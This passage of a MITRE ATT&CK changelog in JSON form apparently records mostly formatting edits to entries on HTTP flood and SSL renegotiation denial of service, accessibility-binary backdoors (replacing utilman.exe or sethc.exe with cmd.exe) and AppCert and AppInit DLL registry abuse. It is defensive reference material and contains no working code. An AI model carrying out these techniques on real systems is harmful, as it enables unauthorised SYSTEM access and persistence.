| > | ber of HTTP requests to a web server to overwhelm it and/or | > | mber of HTTP requests to a web server to overwhelm it and/or | ||
| > | an application that runs on top of it. This flood relies on | > | an application that runs on top of it. This flood relies on | ||
| > | raw volume to accomplish the objective, exhausting any of th | > | raw volume to accomplish the objective, exhausting any of t | ||
| > | e various resources required by the victim software to provi | > | he various resources required by the victim software to prov | ||
| > | de the service.(Citation: Cloudflare HTTPflood) Another var | > | ide the service.(Citation: Cloudflare HTTPflood) Another va | ||
| > | iation, known as a SSL renegotiation attack, takes advantage | > | riation, known as an SSL renegotiation attack, takes advanta | ||
| > | of a protocol feature in SSL/TLS. The SSL/TLS protocol suit | > | ge of a protocol feature in SSL/TLS. The SSL/TLS protocol su | ||
| > | e includes mechanisms for the client and server to agree on | > | ite includes mechanisms for the client and server to agree o | ||
| > | an encryption algorithm to use for subsequent secure connect | > | n an encryption algorithm to use for subsequent secure conne | ||
| > | ions. If SSL renegotiation is enabled, a request can be made | > | ctions. If SSL renegotiation is enabled, a request can be ma | ||
| > | for renegotiation of the crypto algorithm. In a renegotiati | > | de for renegotiation of the crypto algorithm. In a renegotia | ||
| > | on attack, the adversary establishes a SSL/TLS connection an | > | tion attack, the adversary establishes an SSL/TLS connection | ||
| > | d then proceeds to make a series of renegotiation requests. | > | and then proceeds to make a series of renegotiation request | ||
| > | Because the cryptographic renegotiation has a meaningful cos | > | s. Because the cryptographic renegotiation has a meaningful | ||
| > | t in computation cycles, this can cause an impact to the ava | > | cost in computation cycles, this can cause an impact to the | ||
| > | ilability of the service when done in volume.(Citation: Arbo | > | availability of the service when done in volume.(Citation: A | ||
| > | r SSLDoS April 2012) | > | rbor SSLDoS April 2012) |
C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/008",
"external_id": "T1546.008"
},
{
"source_name": "Narrator Accessibility Abuse",
"description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
"url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
},
{
"source_name": "FireEye Hikit Rootkit",
"description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
},
{
"source_name": "DEFCON2016 Sticky Keys",
"description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
"url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
},
{
"source_name": "Tilbury 2014",
"description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Paul Speulstra, AECOM Global Security Operations Center"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:50:50.882000+00:00\", \"old_value\": \"2025-10-24 17:48:56.964000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n\\nTwo common accessibility programs are C:\\\\Windows\\\\System32\\\\sethc.exe, launched when the shift key is pressed five times and C:\\\\Windows\\\\System32\\\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\\n\\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\\\, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n\\nFor simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., C:\\\\Windows\\\\System32\\\\utilman.exe) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\\n\\nOther accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n\\n* On-Screen Keyboard: C:\\\\Windows\\\\System32\\\\osk.exe\\n* Magnifier: C:\\\\Windows\\\\System32\\\\Magnify.exe\\n* Narrator: C:\\\\Windows\\\\System32\\\\Narrator.exe\\n* Display Switcher: C:\\\\Windows\\\\System32\\\\DisplaySwitch.exe\\n* App Switcher: C:\\\\Windows\\\\System32\\\\AtBroker.exe\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n\\nTwo common accessibility programs are C:\\\\Windows\\\\System32\\\\sethc.exe, launched when the shift key is pressed five times and C:\\\\Windows\\\\System32\\\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\\n\\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n\\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\\\Windows\\\\System32\\\\utilman.exe) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\\n\\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n\\n* On-Screen Keyboard: C:\\\\Windows\\\\System32\\\\osk.exe\\n* Magnifier: C:\\\\Windows\\\\System32\\\\Magnify.exe\\n* Narrator: C:\\\\Windows\\\\System32\\\\Narrator.exe\\n* Display Switcher: C:\\\\Windows\\\\System32\\\\DisplaySwitch.exe\\n* App Switcher: C:\\\\Windows\\\\System32\\\\AtBroker.exe\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n \\n-Two common accessibility programs are C:\\\\Windows\\\\System32\\\\sethc.exe, launched when the shift key is pressed five times and C:\\\\Windows\\\\System32\\\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\\n+Two common accessibility programs are C:\\\\Windows\\\\System32\\\\sethc.exe, launched when the shift key is pressed five times and C:\\\\Windows\\\\System32\\\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\\n \\n-Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n+Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\\\, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n \\n-For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\\\Windows\\\\System32\\\\utilman.exe) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\\n+For simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., C:\\\\Windows\\\\System32\\\\utilman.exe) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\\n \\n-Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n+Other accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n \\n * On-Screen Keyboard: C:\\\\Windows\\\\System32\\\\osk.exe\\n * Magnifier: C:\\\\Windows\\\\System32\\\\Magnify.exe\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by accessibilit | > | ges by executing malicious content triggered by accessibilit | ||
| > | y features. Windows contains accessibility features that may | > | y features. Windows contains accessibility features that may | ||
| > | be launched with a key combination before a user has logged | > | be launched with a key combination before a user has logged | ||
| > | in (ex: when the user is on the Windows logon screen). An a | > | in (ex: when the user is on the Windows logon screen). An a | ||
| > | dversary can modify the way these programs are launched to g | > | dversary can modify the way these programs are launched to g | ||
| > | et a command prompt or backdoor without logging in to the sy | > | et a command prompt or backdoor without logging in to the sy | ||
| > | stem. Two common accessibility programs are <code>C:\\Window | > | stem. Two common accessibility programs are <code>C:\\Window | ||
| > | s\\System32\\sethc.exe</code>, launched when the shift key is | > | s\\System32\\sethc.exe</code>, launched when the shift key is | ||
| > | pressed five times and <code>C:\\Windows\\System32\\utilman.exe | > | pressed five times and <code>C:\\Windows\\System32\\utilman.exe | ||
| > | </code>, launched when the Windows + U key combination is pr | > | </code>, launched when the Windows + U key combination is pr | ||
| > | essed. The sethc.exe program is often referred to as \"sticky | > | essed. The sethc.exe program is often referred to as \"sticky | ||
| > | keys\", and has been used by adversaries for unauthenticated | > | keys\", and has been used by adversaries for unauthenticated | ||
| > | access through a remote desktop login screen. (Citation: Fi | > | access through a remote desktop login screen.(Citation: Fir | ||
| > | reEye Hikit Rootkit) Depending on the version of Windows, a | > | eEye Hikit Rootkit) Depending on the version of Windows, an | ||
| > | n adversary may take advantage of these features in differen | > | adversary may take advantage of these features in different | ||
| > | t ways. Common methods used by adversaries include replacing | > | ways. Common methods used by adversaries include replacing | ||
| > | accessibility feature binaries or pointers/references to th | > | accessibility feature binaries or pointers/references to the | ||
| > | ese binaries in the Registry. In newer versions of Windows, | > | se binaries in the Registry. In newer versions of Windows, t | ||
| > | the replaced binary needs to be digitally signed for x64 sys | > | he replaced binary needs to be digitally signed for x64 syst | ||
| > | tems, the binary must reside in <code>%systemdir%\\</code>, a | > | ems, the binary must reside in <code>%systemdir%\\</code>, an | ||
| > | nd it must be protected by Windows File or Resource Protecti | > | d it must be protected by Windows File or Resource Protectio | ||
| > | on (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image | > | n (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image Fi | ||
| > | File Execution Options Injection](https://attack.mitre.org/t | > | le Execution Options Injection](https://attack.mitre.org/tec | ||
| > | echniques/T1546/012) debugger method was likely discovered a | > | hniques/T1546/012) debugger method was likely discovered as | ||
| > | s a potential workaround because it does not require the cor | > | a potential workaround because it does not require the corre | ||
| > | responding accessibility feature binary to be replaced. For | > | sponding accessibility feature binary to be replaced. For s | ||
| > | simple binary replacement on Windows XP and later as well a | > | imple binary replacement on Windows XP and later as well as | ||
| > | s and Windows Server 2003/R2 and later, for example, the pro | > | Windows Server 2003/R2 and later, for example, the program ( | ||
| > | gram (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) ma | > | e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be r | ||
| > | y be replaced with \"cmd.exe\" (or another program that provid | > | eplaced with \"cmd.exe\" (or another program that provides bac | ||
| > | es backdoor access). Subsequently, pressing the appropriate | > | kdoor access). Subsequently, pressing the appropriate key co | ||
| > | key combination at the login screen while sitting at the key | > | mbination at the login screen while sitting at the keyboard | ||
| > | board or when connected over [Remote Desktop Protocol](https | > | or when connected over [Remote Desktop Protocol](https://att | ||
| > | ://attack.mitre.org/techniques/T1021/001) will cause the rep | > | ack.mitre.org/techniques/T1021/001) will cause the replaced | ||
| > | laced file to be executed with SYSTEM privileges. (Citation: | > | file to be executed with SYSTEM privileges.(Citation: Tilbur | ||
| > | Tilbury 2014) Other accessibility features exist that may | > | y 2014) Other accessibility features exist that may also be | ||
| > | also be leveraged in a similar fashion: (Citation: DEFCON201 | > | leveraged in a similar fashion:(Citation: DEFCON2016 Sticky | ||
| > | 6 Sticky Keys)(Citation: Narrator Accessibility Abuse) * On | > | Keys)(Citation: Narrator Accessibility Abuse) * On-Screen | ||
| > | -Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code> * | > | Keyboard: <code>C:\\Windows\\System32\\osk.exe</code> * Magnifi | ||
| > | Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code> * N | > | er: <code>C:\\Windows\\System32\\Magnify.exe</code> * Narrator: | ||
| > | arrator: <code>C:\\Windows\\System32\\Narrator.exe</code> * Dis | > | <code>C:\\Windows\\System32\\Narrator.exe</code> * Display Swi | ||
| > | play Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</ | > | tcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code> * | ||
| > | code> * App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe | > | App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code> | ||
| > | </code> |
AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.(Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/009",
"external_id": "T1546.009"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:51:33.270000+00:00\", \"old_value\": \"2025-10-24 17:49:00.663000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.(Citation: Elastic Process Injection July 2017)\\n\\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\\n\\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.(Citation: Elastic Process Injection July 2017)\\n \\n Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"Sysinternals AppCertDlls Oct 2007\", \"description\": \"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.\", \"url\": \"https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html\"}, \"root['external_references'][3]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppCert DLLs | > | ges by executing malicious content triggered by AppCert DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppCertDLLs</code> Registry key un | > | re specified in the <code>AppCertDLLs</code> Registry key un | ||
| > | der <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contro | > | der <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contro | ||
| > | l\\Session Manager\\</code> are loaded into every process that | > | l\\Session Manager\\</code> are loaded into every process that | ||
| > | calls the ubiquitously used application programming interfa | > | calls the ubiquitously used application programming interfa | ||
| > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | ||
| > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | ||
| > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | ||
| > | . (Citation: Elastic Process Injection July 2017) Similar t | > | .(Citation: Elastic Process Injection July 2017) Similar to | ||
| > | o [Process Injection](https://attack.mitre.org/techniques/T1 | > | [Process Injection](https://attack.mitre.org/techniques/T10 | ||
| > | 055), this value can be abused to obtain elevated privileges | > | 55), this value can be abused to obtain elevated privileges | ||
| > | by causing a malicious DLL to be loaded and run in the cont | > | by causing a malicious DLL to be loaded and run in the conte | ||
| > | ext of separate processes on the computer. Malicious AppCert | > | xt of separate processes on the computer. Malicious AppCert | ||
| > | DLLs may also provide persistence by continuously being tri | > | DLLs may also provide persistence by continuously being trig | ||
| > | ggered by API activity. | > | gered by API activity. |
AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/010",
"external_id": "T1546.010"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "AppInit Registry",
"description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
"url": "https://support.microsoft.com/en-us/kb/197571"
},
{
"source_name": "AppInit Secure Boot",
"description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
"url": "https://msdn.microsoft.com/en-us/library/dn280412"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:52:07.560000+00:00\", \"old_value\": \"2025-10-24 17:49:24.008000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows or HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\\n\\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n\\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows or HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\\n\\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n\\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows or HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: 